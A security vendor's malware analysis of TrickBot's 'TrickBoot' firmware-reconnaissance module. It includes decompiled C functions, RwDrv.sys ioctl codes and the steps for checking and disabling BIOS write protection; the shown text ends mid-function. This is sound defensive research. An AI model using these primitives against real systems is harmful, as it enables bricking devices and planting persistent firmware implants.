{ "id": "abb6828d-db29-4a36-90c7-49a05af35ce6", "created_at": "2026-04-06T00:17:41.837518Z", "updated_at": "2026-04-10T13:11:54.024888Z", "deleted_at": null, "sha1_hash": "e45071f85f9e9e623f056296f65b71ff0a93c001", "title": "TrickBot Now Offers \"TrickBoot\": Persist, Brick, Profit", "llm_title": "", "authors": "", "file_creation_date": "0001-01-01T00:00:00Z", "file_modification_date": "0001-01-01T00:00:00Z", "file_size": 1143197, "plain_text": "TrickBot Now Offers \"TrickBoot\": Persist, Brick, Profit\r\nBy Ariella Robison\r\nPublished: 2020-12-03 · Archived: 2026-04-05 20:42:11 UTC\r\nResearchers discover a new module in the TrickBot toolset aimed at detecting\r\nUEFI / BIOS firmware vulnerabilities\r\nJoin AdvIntel and Eclypsium for a live webinar exploring the implications of Trickbot’s foray into firmware on\r\nDecember 9, 2020.\r\nDownload the PDF \u003e\r\nExecutive Summary\r\nCollaborative research between Advanced Intelligence (AdvIntel) and Eclypsium has discovered that the TrickBot\r\nmalware now has functionality designed to inspect the UEFI/BIOS firmware of targeted systems. This new\r\nfunctionality, which we have dubbed “TrickBoot,” makes use of readily available tools to check devices for well-known vulnerabilities that can allow attackers to read, write, or erase the UEFI/BIOS firmware of a device. \r\nAt the time of writing, our research uncovered TrickBot performing reconnaissance for firmware vulnerabilities.\r\nThis activity sets the stage for TrickBot operators to perform more active measures such as the installation of\r\nfirmware implants and backdoors or the destruction (bricking) of a targeted device. It is quite possible that threat\r\nactors are already exploiting these vulnerabilities against high-value targets. Similar UEFI-focused threats have\r\ngone years before they have been detected. Indeed, this is precisely their value to attackers.\r\nThis marks a significant step in the evolution of TrickBot. Firmware level threats carry unique strategic\r\nimportance for attackers. By implanting malicious code in firmware, attackers can ensure their code is the first to\r\nrun. Bootkits allow an attacker to control how the operating system is booted or even directly modify the OS to\r\ngain complete control over a system and subvert higher-layer security controls. UEFI level implants are powerful\r\nand stealthy. Since firmware is stored on the motherboard as opposed to the system drives, these threats can\r\nprovide attackers with ongoing persistence even if a system is re-imaged or a hard drive is replaced. Equally\r\nimpactful, if firmware is used to brick a device, the recovery scenarios are markedly different (and more difficult)\r\nthan recovery from the traditional file-system encryption that a ransomware campaign like Ryuk, for example,\r\nwould require.\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 1 of 23\n\nTrickBot has proven to be one of the most adaptable pieces of malware today, regularly incorporating new\r\nfunctionality to escalate privilege, spread to new devices, and maintain persistence on a host. The addition of\r\nUEFI functionality marks an important advance in this ongoing evolution by extending its focus beyond the\r\noperating system of the device to lower layers that are often not inspected by security products and researchers. \r\nGiven that the TrickBot group toolset has been used by some of the most dangerous criminal, Russian, and North\r\nKorean actors to target healthcare, finance, telecoms, education, and critical infrastructure, we view this\r\ndevelopment as critically important to both enterprise risk and national security. Adversaries leveraging TrickBot\r\nnow have an automated means to know which of their latest victim hosts are vulnerable to UEFI vulnerabilities,\r\nmuch like they added capabilities in 2017 to exploit EternalBlue and EternalRomance vulnerabilities. \r\nContents:\r\nTrickBot Background\r\nTrickBot Actor Insights\r\nDiscovery of New TrickBoot Functionality\r\nTechnical Analysis\r\nOverview of the Boot Process, SPI Controller, and UEFI Firmware\r\nTrickBoot Implications\r\nTrickBoot Technical Details\r\nMitigation\r\nConclusion\r\nTrickBoot IOCs\r\nTrickBot Background\r\nTrickBot is a highly modular trojan that is particularly notable for its ability to gain administrator privileges,\r\nspread within a network, and deliver additional malware payloads. Originally identified in 2016, TrickBot was\r\ninitially focused on stealing financial data and was considered a banking trojan. However, as the malware evolved,\r\nattackers quickly found that it was a valuable enabler in all types of malware campaigns. Notably, TrickBot has\r\nbeen widely observed working in conjunction with Emotet to deliver Ryuk ransomware. \r\nTrickBot includes several key features that make it valuable for persistent malware campaigns. The tool is able to\r\ncapture user and admin credentials using Mimikatz and has incorporated UAC bypass techniques to ensure it can\r\nrun with administrator privileges on an infected host without alerting the user. TrickBot also makes use of the\r\nEternalBlue exploit (MS17-010) to spread to additional hosts in the network via SMB. These capabilities make\r\nTrickBot an ideal dropper for almost any additional malware payload. By adding the ability to canvas victim\r\ndevices for specific UEFI/BIOS firmware vulnerabilities, TrickBot actors are able to target specific victims with\r\nfirmware-level persistence that survives re-imaging or even device bricking capability. \r\nThe following graphics show the last two months of active TrickBot infections, peaking at up to 40,000 in a single\r\nday. Getting a footprint is not a challenge for TrickBot operators. Determining which victims are high-value\r\ntargets and persisting in those environments to hit them again later defines a large portion of the TrickBot toolset\r\nand frames the significance of this discovery.\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 2 of 23\n\nCredit: AdvIntel\r\nTrickBot Actor Insights\r\nWhile TrickBot as a malware toolset has been used by a diverse set of actors, there is one group that drives the\r\nmajority of its use and is worth providing insights on in the context of this research in order to emphasize how\r\npowerful and successful TrickBot-based campaigns are. The group’s alias is “Overdose,” and they are the primary\r\nPlatform-as-a-Service fraud group behind TrickBot campaigns, namely those that result in Conti and Ryuk\r\nransomware. The group has made at least $150m since 2018 and recently extracted ~$34m (2,200 BTC) from a\r\nsingle victim. This is the same group behind a spate of attacks on Healthcare victims, including that of UHS. No\r\ndirect attribution has been made as to their identity, other than they are Russian-speaking and Eastern European.\r\nAs can be seen in the graphic below, they participate in a number of criminal/fraud-related activities.\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 3 of 23\n\nTheir most common attack chain largely begins via EMOTET malspam campaigns, which then loads TrickBot\r\nand/or other loaders, and moves to attack tools like PowerShell Empire or Cobalt Strike to accomplish objectives\r\nrelative to the victim organization under attack. Often, at the end of the kill-chain, either Conti or Ryuk\r\nransomware is deployed.\r\nThe same actor also uses LightBot, which is a set of PowerShell scripts designed to perform reconnaissance on\r\nvictim networks, hardware, and software, in order to hand-pick which are high-value targets. It is clear that such\r\nactors would benefit greatly from including a UEFI level bootkit in their kill chain. They would survive system re-imagining efforts during the recovery phase of a Ryuk or Conti event, and they would further their ability to semi-permanently brick a device. This provides criminal actors more leverage during ransom negotiation. \r\nWith this module, the TrickBot kill chain is primed with a list of vulnerable targets for firmware-level\r\ncompromise. The malware authors can leverage Emotet to malspam organizations and use TrickBoot to\r\nunderstand where and how to target the UEFI firmware. Ryuk and Conti malware operators often offer to remove\r\nbackdoors in an enterprise if the ransom is paid. With this new module, these actors can remove backdoors like\r\nwebshells, accounts, remote admin tools but keep a covert UEFI implant on the system to leverage later.\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 4 of 23\n\nDISCOVERY OF NEW TRICKBOOT FUNCTIONALITY\r\nCollaborative research between Advanced Intelligence (AdvIntel) and Eclypsium has discovered new TrickBot\r\nfunctionality capable of probing the UEFI/BIOS firmware for nearly all Intel-based systems since 2014. The new\r\nfunctionality, which we have dubbed “TrickBoot,” leverages readily available tools to enable the following\r\nreconnaissance actions:\r\nIdentify the device platform\r\nCheck the status of BIOS write protections for the SPI flash \r\nCheck for well-known vulnerabilities that can allow attackers to read, write, or erase UEFI/BIOS\r\nfirmware. \r\nThus far, the TrickBot module is only performing reconnaissance and has not been seen modifying the firmware\r\nitself. However, the malware already contains code to read, write, and erase firmware. These primitives could be\r\nused to insert code to maintain persistence, as has been seen previously with the LoJax or MosaicRegressor.\r\nAttackers could also simply erase the BIOS region to completely disable the device as part of a destructive attack\r\nor ransomware campaign. The possibilities are almost limitless.\r\nTrickBot has a history of reusing established tools and exploits such as Mimikatz and EternalBlue, and the\r\nmalware is taking a similar approach to achieving persistence. Specifically, TrickBoot uses the RwDrv.sys driver\r\nfrom the popular RWEverything tool in order to interact with the SPI controller to check if the BIOS control\r\nregister is unlocked and the contents of the BIOS region can be modified. TrickBoot includes an obfuscated copy\r\nof RwDrv.sys embedded within the malware itself. It drops the driver into the Windows directory, starts the\r\nRwDrv service, and then makes DeviceIoControl calls to talk to the hardware.\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 5 of 23\n\nRWEverything (read-write everything) is a powerful tool that can allow an attacker to write to the firmware on\r\nvirtually any device component, including the SPI controller that governs the system UEFI/BIOS. This can allow\r\nan attacker to write malicious code to the system firmware, ensuring that attacker code executes before the\r\noperating system while also hiding the code outside of the system drives. These capabilities have been abused in\r\nthe past as a way for attackers to maintain persistence in firmware, most notably by the LoJax malware and the\r\nSlingshot APT campaign. However, TrickBoot marks a significant expansion of these techniques in the wild.\r\nTECHNICAL ANALYSIS\r\nAs is often the case with new TrickBot modules, the name “PermaDll” or the original name as\r\n“user_platform_check.dll” caught the attention of Advanced Intelligence researchers during the October 2020\r\ndiscovery of the new TrickBot attack chain. “Perma,” sounding akin to “permanent,” was intriguing enough on its\r\nown to want to understand this module’s role in TrickBot’s newest arsenal of loadable modules with the usual\r\nTrickBot export modules. Initial analysis pointed to the possibility there might be capabilities related to\r\nunderstanding whether a victim system’s UEFI firmware could be attacked for purposes of persistence or\r\ndestruction. A joint collaboration was started with Eclypsium to analyze this module and to put whatever was\r\nfound into context for defenders. During the initial discovery of this new module on October 19, 2020, the team\r\nprocessed the encoded “permaDll32”. They leveraged a custom-built AES encryption TrickBot module decrypter,\r\nwhich revealed the decoded module that became the subject of this in-depth analysis and discovery.\r\nIt took over five years for the industry to discover the use of Hacking Team’s VectorEDK UEFI implant code that\r\nwas used in the wild as part of the MosaicRegressor campaign, despite the source code being readily available on\r\ngithub and even documented in its use. Given how active, well-resourced, and capable TrickBot authors are, we\r\nwanted to research, analyze, and expose whatever tooling they already have in place in order to allow\r\norganizations to prepare effective defenses more rapidly.\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 6 of 23\n\nThe malware module outputs “PCH” queries based on the string slicing obfuscation.\r\nThe “permaDll” module checks for administrator privileges with the output “Not Admin.”\r\nOverview of the Boot Process, SPI Controller, and UEFI Firmware\r\nThe boot process governs how a system and its components are initialized and coordinates the loading of the\r\noperating system, making it one of the most fundamentally important aspects of security for any device. The code\r\nsupporting the boot process is the first code executed on a system and is likewise some of the most privileged\r\ncode, requiring protection even from privileged operating system (OS) code. If the boot process is compromised,\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 7 of 23\n\nattackers gain control over the OS itself and establish ongoing persistence on the device even if the OS is\r\nreinstalled.\r\nThe boot process begins in the SPI flash memory chip that is built into the motherboard of the device. The SPI\r\ncontains the system’s BIOS, or more often, UEFI firmware, which has largely replaced BIOS as the default system\r\nfirmware in modern systems. This UEFI firmware will control the boot process and ultimately select the\r\nappropriate OS bootloader and execute the initial OS code before handing control over to the operating system\r\nitself.\r\nAll requests to the UEFI firmware stored in the SPI flash chip go through the SPI controller, which is part of the\r\nPlatform Controller Hub (PCH) on Intel platforms. This SPI controller includes access control mechanisms, which\r\ncan be locked during the boot process in order to prevent unauthorized modification of the UEFI firmware stored\r\nin the SPI flash memory chip. Modern systems are intended to enable these BIOS write protections to prevent the\r\nfirmware from being modified; however, these protections are often not enabled or misconfigured. If the BIOS is\r\nnot write-protected, attackers can easily modify the firmware or even delete it completely.\r\nMore broadly, any time an actor can write to SPI flash, there are a number of extremely useful things that can be\r\naccomplished from the attacker’s perspective:\r\nBricking a device at the firmware level via a remote malware or ransomware campaign.\r\nRe-infecting a device that’s just been through a traditional system restore process.\r\nBypassing or disabling security controls that OS and software rely upon, such as virtualization-and\r\ncontainer-based security isolation, credentials isolation, software-based full-disk encryption, and other\r\nendpoint and identity protection controls.\r\nChaining exploitation of other device components such as Intel CSME/AMT firmware or Baseboard\r\nManagement Controllers.\r\nRolling back important firmware and microcode updates patching hardware flaws like CPU transient\r\nexecution vulnerabilities.\r\nTrickBoot Implications\r\nThe TrickBot malware toolkit has a broad impact on national security. Used by criminal, Russian, and North\r\nKorean actors, it is widely deployed and benefits from the most widespread malspam apparatus of our day:\r\nEmotet. In a single day in October, 40,000 active, fully compromised devices were observed. Because it is offered\r\nonly to the most vetted and well-funded actors, it has been forged into what can best be described as an arsenal of\r\ncapability, integrating powerful exploitation capabilities like EternalBlue and EternalRomance to help it worm\r\nthrough networks and leveraging PowerShell to perform extremely effective reconnaissance to determine high-value targets. It does this with agility, stealth, and the ability to incorporate specific modules only as needed to\r\naccomplish campaign objectives without tipping its hat to defenders. Organizations should note the following\r\nconsiderations when assessing the impact of the new TrickBoot capability:\r\n1. This new capability provides TrickBot operators a way to brick any device it finds to be vulnerable.\r\nRecovering from corrupted UEFI firmware requires replacing or re-flashing the motherboard, which is\r\nmore labor-intensive than simply re-imagining or replacing a hard drive. The new TrickBoot module\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 8 of 23\n\ntargets all Intel-based systems produced in recent years. While it looks for a particular type of known\r\nvulnerability in how system firmware is protected in persistent SPI flash, UEFI is a very complex firmware\r\nimplementation with many vulnerabilities discovered in recent years, which makes the majority of the\r\nsystems in use today susceptible to this threat.\r\n2. Historically, TrickBot actors have needed to evade and persist at the operating system level. But this has\r\nbecome a ‘race against time,’ as eventually today’s AV and EDR tools catch up to the actor at the OS layer.\r\nOnce UEFI persistence is achieved, TrickBot operators can disable most of the OS level security controls,\r\nwhich then allows them to re-surface to a modified OS with neutered endpoint protections and carry out\r\nobjectives with unhurried time on their side.\r\n3. Normally an actor wanting to gain UEFI level access needs to plan, customize, and build attack tools to\r\ntarget a specific victim environment. But with TrickBoot, actors can simply ‘land’ on tens of thousands of\r\nhosts per day and extract which of them are inside a high-value target organization and vulnerable to UEFI\r\nattacks.\r\n4. Actors are going lower in the stack to avoid detection. The same actors (APT28) behind the DNC hack in\r\n2016 also deployed LoJax, a UEFI implant with a similar infection method and use of the same\r\nvulnerability this TrickBoot module looks for. The difference here is that TrickBot’s modular automated\r\napproach, robust infrastructure, and rapid mass-deployment capabilities bring a new level of scale to this\r\ntrend. This scale allows threat actors to target verticals or portions of critical infrastructure with destructive\r\nor espionage campaigns.\r\n5. Most organizations and missions are not tooled to be able to detect, let alone mitigate, this class of\r\nfirmware threat. It is precisely, for this reason, that threat actors push further down the stack. This means\r\nthat as a nation, neither our proactive or reactive efforts are likely sufficient to get ahead of this new threat.\r\nOur hope is that this discovery, research, and recommended mitigations help elevate the awareness needed\r\nto address this global threat head-on. \r\nTrickBoot Technical Details\r\nBoth 32-bit and 64-bit versions of this new TrickBot module have been observed so far.  \r\nBoth versions appear to be functionally the same, but for this analysis, we’ll be using addresses and code samples\r\nfrom the 32-bit version.\r\nObfuscation Techniques\r\nTrickBot uses the string and library-call obfuscation library from https://github.com/andrivet/ADVobfuscator, so\r\nmost strings in the DLL are obfuscated. This module does not use the library-call obfuscation, but other TrickBot\r\nsamples have been found to use that feature.\r\nRather than including obfuscated strings in the data section of the executable, all strings are encoded as inline\r\ninstructions to write obfuscated strings to local stack frame buffers and then immediately decode them at the time\r\nof use. \r\nSeveral variants of this obfuscation method are used within this sample, and each string has its own unique “key”\r\nvalue that is used to modify each byte of the string. Variants observed in this sample include:\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 9 of 23\n\nsubtracting the key value from each byte\r\nxoring the key value against each byte\r\nadding the key value to the index into the string and xoring that against each byte\r\nA fourth variant, which uses dec to subtract one from each byte, was also found within the sample, but this is\r\nlikely a compiler optimization of the subtract case when the value of 1 was chosen as the random key at compile\r\ntime.\r\nSome previous TrickBot samples included this string-building and deobfuscation code inline within each function\r\neverywhere obfuscated strings are used, but this sample has many copies of the deobfuscation functions. Most are\r\nused to decode only a single string, but these can be re-used when strings are the same length, and the same\r\nvariant is being used.\r\nThe deobfuscation variants look like this:\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 10 of 23\n\nIn addition to the obfuscated strings, this sample includes a copy of the RwDrv.sys driver from RWEverything\r\nwhich is simply xored against a hardcoded value. This value is 0x75 in the 32-bit sample and 0x4E in the 64-bit\r\nsample. The function to decode the driver and drop it into the Windows directory is at 0x10009F9D, and we’ll\r\nrefer to it as “decode_and_drop_rwdrvsys.”\r\nRwDrv.sys kernel driver and other primitives\r\nRwDrv.sys is a well-known kernel driver that acts as a privileged proxy to allow userspace applications to directly\r\naccess hardware interfaces. It has been used in the wild as part of attack campaigns such as Lojax to talk to the\r\nSPI controller hardware in order to modify the UEFI firmware by inserting new UEFI modules and gain pre-boot\r\ncode execution and persistence.\r\nThis type of kernel driver is particularly dangerous because allowing user space applications direct access to\r\nhardware interfaces can bypass operating security controls and gain privilege escalation, persistence, and even\r\nbrick the hardware itself. As part of a previous research effort, we identified a large number of these signed drivers\r\nwhich can be used in this type of attack scenario and which generally give malware operators the ability to\r\nremotely perform firmware level attacks on victim hosts.\r\nAdditionally, 0x10009BFC, which we’ll refer to as “open_or_init_driver” is a helper function which calls\r\ndecode_and_drop_rwdrvsys and also several other helper functions to load the driver, create a Windows service,\r\nand open a handle to the RwDrv service.\r\nSince this sample doesn’t use the library-call obfuscation provided by ADVobfuscator, all of the calls to\r\nDeviceIoControl are in-the-clear and easy to find. Thus, we can take a closer look at these functions and\r\ndeobfuscate the strings they contain.\r\nAs an example, 0x1000B167 contains the obfuscated string “uefi_expl_port_read() ERROR: Not initialized”. This\r\ncode is from Dmytro Oleksiuk’s fwexpl repository available at https://github.com/Cr4sh/fwexpl. In particular, this\r\nsample includes functions from\r\nhttps://github.com/Cr4sh/fwexpl/blob/master/src/libfwexpl/src/libfwexpl_rwdrv.cpp in order to use the RwDrv.sys\r\ndriver to access hardware interfaces.\r\nThe functions from libfwexpl_rwdrv.cpp which are included in this TrickBot sample are:\r\n0x1000B167 uefi_expl_port_read\r\nUses DeviceIoControl call to rwdrv.sys to read data from hardware IO ports\r\nSupports reading 8-bit (ioctl 0x222810), 16-bit (ioctl 0x222818), and 32-bit (ioctl 0x222820) values\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 11 of 23\n\n0x1000B4AC uefi_expl_port_write\r\nUses DeviceIoControl call to rwdrv.sys to write data to hardware IO ports\r\nSupports writing 8-bit (ioctl 0x222814), 16-bit (ioctl 0x22281c), and 32-bit (ioctl 0x222824) values.\r\n0x1000A4BA uefi_expl_phys_mem_read\r\nUses DeviceIoControl call to rwdrv.sys to read from physical memory addresses\r\nCan read data from arbitrary physical memory addresses via ioctl 0x222808\r\n0x1000A973 uefi_expl_phys_mem_write\r\nUses DeviceIoControl call to rwdrv.sys to write to physical memory addresses•\r\nCan write data to arbitrary physical memory addresses via ioctl 0x22280c\r\nPlatform model and hardware identification\r\nThe PCI access functions in the fwexpl repository require the user to calculate the legacy PCI configuration\r\naddress to be used rather than taking bus, device, function and register arguments, so two additional helper\r\nfunctions were added to make it easier to use:\r\n0x1000A3FD pci_read_reg\r\nUses uefi_expl_port_write and uefi_expl_port_read to read PCI registers via legacy PCI\r\nConfiguration Access Mechanism (ports 0xCF8 and 0xCFC)\r\n0x1000A45A pci_write_reg\r\nUses uefi_expl_port_write to write PCI registers via legacy PCI Configuration Access Mechanism\r\n(ports 0xCF8 and 0xCFC)\r\nBuilding on top of these hardware-access primitives, the sample contains additional helper functions to perform a\r\nnumber of interesting operations such as 0x100093C7, which we’ll refer to as “identify_platform.”\r\nThis function uses pci_read_reg to read VendorID, DeviceID, and RevisionID fields from the CPU Root Complex\r\n(BDF 0:0.0) and Platform Controller Hub (PCH) LPC Interface (BDF 0:1F.0). Reading these allows permaDll32\r\nto determine which specific model of CPU and PCH the device is running on.\r\npci_read_reg(0, 0, 0, 0, 2, \u0026cpu_vid_did);\r\npci_read_reg(0, 0, 0, 8, 0, \u0026cpu_rid);\r\npci_read_reg(0, 31, 0, 0, 2, \u0026pch_vid_did);\r\npci_read_reg(0, 31, 0, 8, 0, \u0026pch_rid);\r\nThe locations of registers for the SPI controller have changed over the generations of Intel PCH, and another\r\nfunction, 0x1000C00F, which we’ll refer to as “pch_did_to_generation,” compares the PCH Device ID that was\r\nread from the hardware against a collection of known DeviceID values to determine which generation of PCH the\r\ncode is running on.\r\nGenerally, this malware will attempt to run on all Intel platforms. This set of device IDs is used to determine\r\nwhere to look for the BIOS Control register, the Flash Protected Range registers, and SPIBAR. The set of device\r\nIDs it looks for covers client platforms from Skylake through Comet Lake and also the C620 Series of Server\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 12 of 23\n\nPCH. If the device ID is something not on this list, the malware will use the pre-Skylake register definitions. The\r\ntables of PCH Device IDs included in this sample are the following:\r\n0x1002402C 100 Series PCH DIDs (Skylake):\r\n0xA143: Intel H110 (100 series) PCH\r\n0xA144: Intel H170 (100 series) PCH\r\n0xA145: Intel Z170 (100 series) PCH\r\n0xA146: Intel Q170 (100 series) PCH\r\n0xA147: Intel Q150 (100 series) PCH\r\n0xA148: Intel B150 (100 series) PCH\r\n0xA149: Intel C236 (100 series) PCH\r\n0xA14A: Intel C232 (100 series) PCH\r\n0xA14D: Intel CQM170 (100 series) PCH\r\n0xA14E: Intel HM170 (100 series) PCH\r\n0xA150: Intel CM236 (100 series) PCH\r\n0xA151: Intel QMS180 (100 series) PCH\r\n0xA152: Intel HM175 (100 series) PCH\r\n0xA153: Intel QM175 (100 series) PCH\r\n0xA154: Intel CM238 (100 series) PCH\r\n0xA155: Intel QMU185 (100 series) PCH\r\n0x9D43: PCH-U Baseline\r\n0x9D43: PCH-U Baseline\r\n0x10024050 200 Series PCH DIDs (Kaby Lake):\r\n0xA2C4: Intel H270 (200 series) PCH\r\n0xA2C5: Intel Z270 (200 series) PCH\r\n0xA2C6: Intel Q270 (200 series) PCH\r\n0xA2C7: Intel Q250 (200 series) PCH\r\n0xA2C8: Intel B250 (200 series) PCH\r\n0xA2C9: Intel Z370 (200 series) PCH\r\n0xA2D2: Intel X299 (200 series) PCH\r\n0x10024060: 300 Series PCH DIDs (Coffee Lake):\r\n0xA306: Intel Q370 (300 series) PCH\r\n0xA304: Intel H370 (300 series) PCH\r\n0xA305: Intel Z390 (300 series) PCH\r\n0xA308: Intel B360 (300 series) PCH\r\n0xA303: Intel H310 (300 series) PCH\r\n0xA30D: Intel HM370 (300 series) PCH\r\n0xA30C: Intel QM370 (300 series) PCH\r\n0xA30E: Intel CM246 (300 series) PCH\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 13 of 23\n\n0x9D4B: PCH-Y with iHDCP 2.2 Premium\r\n0x9D4E: PCH-U with iHDCP 2.2 Premium\r\n0x9D50: PCH-U with iHDCP 2.2 Base\r\n0x9D53: PCH-U Base\r\n0x9D56: PCH-Y Premium\r\n0x9D58: PCH-U Premium\r\n0x9D84: Intel 300 series On-Package PCH\r\n0x10024080 400 Series PCH DIDs (Comet Lake):\r\n0xA3C8: 400 series PCH B460\r\n0xA3DA: 400 series PCH H410\r\n0x068D: 400 series PCH (CML-H) HM470\r\n0x068E: 400 series PCH (CML-H) QM490\r\n0x069A: 400 series PCH (CML-H) H420E\r\n0x0284: Intel 400 series PCH-LP Prem-U\r\n0x0285: Intel 400 series PCH-LP Base-U\r\n0x3481: Intel 495 series PCH-LP U\r\n0x3482: Intel 495 series PCH-LP Prem-U\r\n0x3486: Intel 495 series PCH-LP Y\r\n0x3487: Intel 495 series PCH-LP Prem-Y\r\n0x10024098 C620 Series Server PCH DIDs:\r\n0xA1C1: Intel C621 (C620 series) PCH\r\n0xA1C2: Intel C622 (C620 series) PCH\r\n0xA1C3: Intel C624 (C620 series) PCH\r\n0xA1C4: Intel C625 (C620 series) PCH\r\n0xA1C5: Intel C626 (C620 series) PCH\r\n0xA1C6: Intel C627 (C620 series) PCH\r\n0xA1C7: Intel C628 (C620 series) PCH\r\n0xA1CA: Intel C629 (C620 series) PCH\r\n0xA242: Intel C624 (C620 series) PCH\r\n0xA243: Intel C627 (C620 series) PCH\r\n0xA244: Intel C621 (C620 series) PCH\r\n0xA245: Intel C627 (C620 series) PCH\r\n0xA246: Intel C628 (C620 series) PCH\r\nThe code has two copies of the 400 Series PCH DID entries and checks the current PCH DID against both, which\r\nappears to be a bug, but does not cause functional problems.\r\n0x100240B4 Copy of 400 Series PCH DIDs (Comet Lake):\r\n0xA3C8: 400 series PCH B460\r\n0xA3DA: 400 series PCH H410\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 14 of 23\n\n0x068D: 400 series PCH (CML-H) HM470\r\n0x068E: 400 series PCH (CML-H) QM490\r\n0x069A: 400 series PCH (CML-H) H420E\r\n0x0284: Intel 400 series PCH-LP Prem-U\r\n0x0285: Intel 400 series PCH-LP Base-U\r\n0x3481: Intel 495 series PCH-LP U\r\n0x3482: Intel 495 series PCH-LP Prem-U\r\n0x3486: Intel 495 series PCH-LP Y\r\n0x3487: Intel 495 series PCH-LP Prem-Y\r\nTarget-specific hardware resource configuration\r\nOnce the code has determined which generation of PCH it’s running on, it uses the function at 0x1000C0A2,\r\nwhich we’ll refer to as “get_regs_from_generation” to know where to access these registers:\r\nSPIBAR (Base Address Register for MMIO access to SPI controller registers)\r\nThis register is used to gain access to additional SPI controller MMIO registers beyond those in PCI\r\nConfiguration Space.\r\nBC (BIOS Control)\r\nThis register contains write-protect and lock bits to control access to the BIOS Region at the\r\nhardware level.\r\nPR0-PR4 (Flash Protected Ranges)\r\nThese registers each contain Base, Limit, Write Protection Enable, and Read Protection Enable,\r\nwhich can be used to enforce additional access controls at a more granular level than that provided\r\nby the BIOS Control register and the SPI Flash Descriptor.\r\nIf the TrickBot module is running on a PCH that was not included in the set of lookup tables in\r\npch_did_to_generation, this function uses a pre-Skylake set of default values for the hardware-access operations\r\nthat follow.\r\nNow that the malware knows where to find these SPI controller registers, there are some additional helper\r\nfunctions which can be used to check the state of the BIOS Region protections and perform SPI operations to the\r\nexternal flash chip:\r\n0x1000948D read_bios_control_reg\r\nThis uses pci_read_reg to read and return the current value of the BIOS Control register\r\nunsigned long long read_bios_control_reg()\r\n{\r\n unsigned long long bc_value;\r\n bc_value = 0;\r\n if ( !pci_read_reg(reg_bc.bus,\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 15 of 23\n\nreg_bc.dev,\r\nreg_bc.func,\r\nreg_bc.reg,\r\n2,\r\n\u0026bc_value) )\r\n bc_value = 0;\r\n return bc_value;\r\n}\r\n0x10009386 is_bios_locked\r\nThis uses read_bios_control_reg to read the BIOS Control register and check if the Lock Enabled (LE) bit\r\nis set.\r\nbool is_bios_locked()\r\n{\r\n return (read_bios_control_reg() \u003e\u003e 1) \u0026 1;\r\n}\r\n0x1000947E is_smm_bios_protection_enabled\r\nThis uses read_bios_control_reg to read the BIOS Control register and checks if the Enable InSMM.STS\r\n(EISS) bit, which was previously known as SMM BIOS Write Protection (SMM_BWP), is set. When this\r\nbit is set, the BIOS region is not writable regardless of the state of the WPD (Write Protect Disable) bit,\r\nwhich is also in the BIOS Control register unless the process is running in System Management Mode and\r\nsets the InSMM.STS bit (0xFED30880[0]).\r\nOne detail to keep in mind here is that even if the SMM Bios Write Protection bit is enabled, it doesn’t\r\nnecessarily mean that it’s not possible to write to the BIOS Region. There have been many issues with\r\nbuggy SMI handlers that leave the system vulnerable during the firmware update process or enable\r\narbitrary memory read/write as a “confused deputy”. \r\nbool is_smm_bios_protection_enabled()\r\n{\r\n return (read_bios_control_reg() \u003e\u003e 5) \u0026 1;\r\n}\r\n0x1000BA66 determine_spibar\r\nThis function uses pci_read_reg to read SPIBAR, which is the SPI Base Address Register, and points to the\r\ncurrent physical address which is used for MMIO access to additional SPI controller registers.\r\nvoid determine_spibar()\r\n{\r\n unsigned long long reg_value;\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 16 of 23\n\nreg_value = 0;\r\n pci_read_reg(reg_spibar.bus,\r\nreg_spibar.dev,\r\nreg_spibar.func,\r\nreg_spibar.reg,\r\n2,\r\n\u0026reg_value);\r\n cur_spibar = reg_spibar.spibar_offset + (reg_value \u0026 reg_spibar.spibar_mask);\r\n}\r\n0x10009394 read_pr_reg\r\nThis function uses uefi_expl_phys_mem_read_qword to read the current contents of the requested Flash\r\nProtected Range register. This is used to determine if additional protections have been enabled beyond that\r\nprovided by the SPI Flash Descriptor and the BIOS Control register.\r\nlong long read_pr_reg(unsigned char which_pr)\r\n{\r\n long long result;\r\n if ( which_pr \u003c= 5 )\r\n result = uefi_expl_phys_mem_read_qword(cur_spibar + pr_regs[which_pr]-\u003ereg);\r\n else\r\n result = 0;\r\n return result;\r\n}\r\n0x1000B942 try_disable_bios_write_protection\r\nThis function checks if the BIOS Write Protection Disable (WPD) bit is set, tries to set it if it was\r\npreviously unset, and reports the status to the caller.\r\nInterestingly, there’s a bug here. This function tries to check if the EISS/SMM_BWP bit is set but\r\nincorrectly reads the BIOS Control register offset (0xDC) from SPIBAR instead of from the LPC Interface\r\n(0:1F.0).  This results in this code always thinking that the EISS/SMM_BWP bit is unset. It also incorrectly\r\nattempts to set the WPD bit by writing to the BIOS Control register offset via SPIBAR in addition to PCI\r\nConfig Space.\r\nIn Atom SoC platforms (Avoton, Cherrytrail, Baytrail, etc.), the BIOS Control register is in\r\nSPIBAR, but at a different offset (0xFC).\r\nunsigned int try_disable_bios_write_protection()\r\n{\r\n unsigned int result;\r\n unsigned long long bc_val;\r\nhttps://eclypsium.com/2020/12/03/trickbot-now-offers-trickboot-persist-brick-profit/\r\nPage 17 of 23\n\n// BUG 